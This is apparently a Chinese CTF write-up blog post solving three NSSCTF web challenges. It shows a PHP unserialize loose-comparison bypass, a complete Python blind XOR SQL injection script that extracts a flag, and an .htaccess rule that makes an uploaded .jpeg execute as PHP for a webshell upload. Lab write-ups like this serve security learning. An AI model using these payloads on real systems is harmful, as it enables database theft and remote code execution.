nssctf web (3)

[HUBUCTF 2022 新生赛]checkin

<?php 
show_source(__FILE__);  #将当前文件的代码显示到页面
$username  = "this_is_secret"; #给username赋值
$password  = "this_is_not_known_to_you";  #给password赋值
include("flag.php");//here I changed those two   #包含flag.php
$info = isset($_GET['info'])? $_GET['info']: "" ; #通过get方法获取info参数判断是不是空,默认为空字符
$data_unserialize = unserialize($info); #将info反序列化
if ($data_unserialize['username']==$username&&$data_unserialize['password']==$password){  #判断反序列化后的info中的username和password是不是一样
    echo $flag; 
}else{
    echo "username or password error!";

}

?>
username or password error!

这里我们可以传入username和password的值为布尔值的true

那这个查询语句就一定为true

先构建数组

a:2:{s:8:"username";b:1;s:8:"password";b:1;}

这里代表创建数组里面有两个键值对 

username ==》true

password ==》 true

 

[CISCN 2019华北Day2]Web1

他提示了表和库的名字是flag

这里输入1会输出hello 通过尝试发现过滤了 union and or

所以尝试异或的sql注入脚本 

import requests
import time

url = "http://node2.anna.nssctf.cn:28302/index.php"
payload = {     #这里代表数组 键为id 值为下面的语句
	"id" : ""
} 
result = ""     
for i in range(1,100):
	l = 32      #l和r代表ascill码的起始和结束
	r =160        
	mid = (l+r)>>1   #通过二分法来猜测 通过调整l和r的值得到mid的值这里通过>>1 代表整除 在通过返回来的数据即返回hello 代表要增加l的值 如果不返回hello的字符串则减小r的值,再不断重复这个过程知道l和r的值只差1
	while(l<r):      
		payload["id"] = "0^" + "(ascii(substr((select(flag)from(flag)),{0},1))>{1})".format(i,mid)  #通过format 调用i和mid {0}{1}代表i和mid   ascill用来获取字符串的ascil码 substr用于提取字符串的字串
		html = requests.post(url,data=payload)  #这里通过request发送post请求 请求地址是url data内容是payload 也就是 id:0^(ascii(substr((select(flag)from(flag)),{0},1))>{1})".format(i,mid
		print(payload)
		if "Hello" in html.text:   #判断返回的页面内容里面有没有hello
			l = mid+1              #有hello 增加 这里用初始的 32 和 160 举例 就是192 也就是96 这里92返回hello 即 l等于 92+1=93
		else:
			r = mid                #还是用32 160 举例 也就是当96 没有返回hello的时候 r会变成92
		mid = (l+r)>>1             #这里代表重新给mid赋值
	if(chr(mid)==" "):             #这里代表如果猜测到最后mid的值为空格就break
		break
	result = result + chr(mid)     #通过chr是mid从ascill码变成字符串 在通过result 存放在result中 同时这里也结束了本次循环
	print(result)                  #输出result这里存在着flag
print("flag: " ,result)

[GXYCTF 2019]BabyUpload

 

上传一句话木马 发现不行 

 过滤ph 那phtml这种就不行了

发现jpeg png 都不让过猜测是对concent-Type做了过滤

 

png不行

 

发现jpeg可以但是内容不行这里写个js

 

 

 

 然后我们通过.htaccess

.htacess可以用来修改文件的后缀名

<FilesMatch "1.jpeg">   
SetHandler application/x-httpd-php
</FilesMatch>

 <FilesMatch> 标签用于为文件名匹配给定的正则表达式的文件设置配置。在这里,它将为文件名为 1.jpeg 的文件设置以下配置

SetHandler 用于设置匹配文件的处理器。在这里,将 1.jpeg 文件的处理器设置为 application/x-httpd-php

application/x-httpd-php 是PHP文件处理器,所以这行配置将使得 1.jpeg 文件由 PHP 进行解析执行

 

要改content-type

 

 

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

许允er

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值